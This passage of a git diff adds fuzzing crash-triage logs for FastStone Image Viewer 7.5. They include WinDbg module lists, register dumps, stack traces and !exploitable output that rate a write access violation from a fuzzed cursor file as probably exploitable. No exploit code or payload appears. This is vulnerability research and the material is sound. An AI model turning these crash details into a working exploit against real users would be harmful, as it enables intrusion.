C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(970.97c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ff7b19 edx=00000000 esi=00000000 edi=07df6fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.791712547591701600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.379550400000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.11343e+033 7.64276e-038 -5.77468e-016 190.194 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080d8130 08055930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f4000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f4000 14b9186f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ae 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f4000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..32a85a9 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/WindowsDebugEngine_description.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x970: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x970: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(970.97c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07ff7b19 edx=00000000 esi=00000000 edi=07df6fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.791712547591701600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.379550400000000000000e+0007 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.11343e+033 7.64276e-038 -5.77468e-016 190.194 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 080d8130 08055930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 002f4000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 002f4000 14b9186f 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ae 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 002f4000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..b100a30 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20056/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..ddbbf62 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/20920/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,173 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1600: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1600: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 